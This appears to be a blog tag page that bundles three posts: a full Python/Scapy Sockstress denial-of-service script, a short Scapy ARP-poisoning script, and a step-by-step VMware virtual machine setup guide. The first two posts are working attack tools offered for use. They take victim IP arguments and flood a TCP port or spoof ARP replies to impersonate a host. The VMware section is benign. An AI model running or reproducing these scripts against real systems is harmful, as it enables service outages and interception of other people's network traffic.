Tag: ubuntu

SockStress DoS – Python

Sockstress is a Denial of Service attack on TCP services

Untitled2.jpg

To copy or see all commands you can click on Details button below

 

#!/usr/bin/python

”’
author:Hopeless
task: SockStress DoS !
”’

from scapy.all import *
from time import sleep
import thread
import logging
import os
import sys

#before importing Scapy. This will suppress all messages that have a lower level of seriousness than error messages
logging.getLogger(“scapy.runtime”).setLevel(logging.ERROR)

if len(sys.argv) != 4:
print “Usage – ./sockstress.py [Victim-IP] [Port Num] [Threads Num]”
print “Example – ./sockstress.py 192.168.0.50 21 15”
print “Make sure beforehand that the port responds”
print “\nMake sure you remove the new rule created from iptables after you are using this program”
sys.exit()

victim = str(sys.argv[1])
portd = int(sys.argv[2])
threads = int(sys.argv[3])

# Create iptables rule
os.system(‘iptables -A OUTPUT -p tcp –tcp-flags RST RST -d ‘ + victim + ‘ -j DROP’)

# Starting attack 🙂
def sockstress(victim,portd):
while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=victim)/TCP(sport=x,dport=portd,flags=’S’),timeout=1,verbose=0)
send(IP(dst=victim)/TCP(dport=portd,sport=x,window=0,flags=’A’,ack=(response[TCP].seq + 1))/’\x00\x00′,verbose=0)
except:
pass

#multiple threads attack
print “The onslaught has begun…use Ctrl+C to stop the attack”
print “\nMake sure you remove the new rule created from iptables after you are using this program”
for x in range(0,threads):
thread.start_new_thread(sockstress, (victim,portd))

# Stop only if you press Ctrl+C
while 0 == 0:
sleep(1)

 

ARP Poison – Python

ARP Poisoning
The attacking system, instead of posing as a gateway and performing a man in the middle attack, can instead simply drop the packets, causing the clients to be denied service to the attacked network resource. The spoofing of ARP messages is the tributary principal of ARP Poisoning.

Used:
from scapy.all import *
import sys

Untitled.jpgTo copy or see all commands you can click on Details button below

 

 

 

#!/usr/bin/python

”’
author: Hopeless
task: Arp poison !
”’

from scapy.all import *
import sys

def get_mac_add():
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
for mac in my_macs:
if(mac != “00:00:00:00:00:00”):
return mac
Timeout=3

if len(sys.argv) != 3:
print “Usage: arppois.py VICTIM-IP IP-TO-IMPERSONATE”
sys.exit(1)

my_mac = get_mac_add()
if not my_mac:
print “Error, Cant get local mac address”
sys.exit(1)

pkt = Ether()/ARP(op=”who-has”,hwsrc=my_mac,psrc=sys.argv[2],pdst=sys.argv[1])

sendp(pkt)

 

 

 

Virtualization ,VMware ,install and configuration

 

What is Virtualization ??

You can run multiple operating systems on one physical machine .

For example, I work with software VMware Workstation

vmware1.png

can be used ISO files to install any operating system possible.
In addition you can download files ready to use machines.

example ubuntu desktop iso file
http://www.ubuntu.com/download/desktop

example Kali Linux VMware Images:
https://images.offensive-security.com/virtual-images/Kali-Linux-2016.1-vm-amd64.7z


open vmware images:

file -> open   |   or   Open a Virtual Machine

vmware2.png

install iso file and configuration

file -> New Virtual Machine | or Create a New Virtual Machine
Custum (Next)
vmware3.png

Compatibility (Next)  , compatibility for previous versions vmware

vmware4.png

Installer disc image file (Next) , Browse file

vmware5.png

Personalize Linux (Next) ….

vmware6.png

Virtual name/location (Next) ….

vmware7.png

Processor Configuration (Next) ….

vmware8.png

Memory (Next) ….

vmware9.png

Network (Next) , use bridged fot own IP , use NAT for  use host’s ip address

vmware10.png

Select I/O Controller Types (Next) , Recommended

vmware11.png

Select a Disk Type (Next) , Recommended

vmware12.png

Select a Disk (Next) , Create a new virtual disk

vmware13.png

Specify Disk Capacity (Next) , 30-40 GB … Store virtual disk as a single file

vmware14.png
Specify Disk File (Next) , disk file name

Ready to Create Virtual Machine (Finish) , and Customize Hardware

vmware15.png

power on this virtual machine…
Now it normal installation of the operating system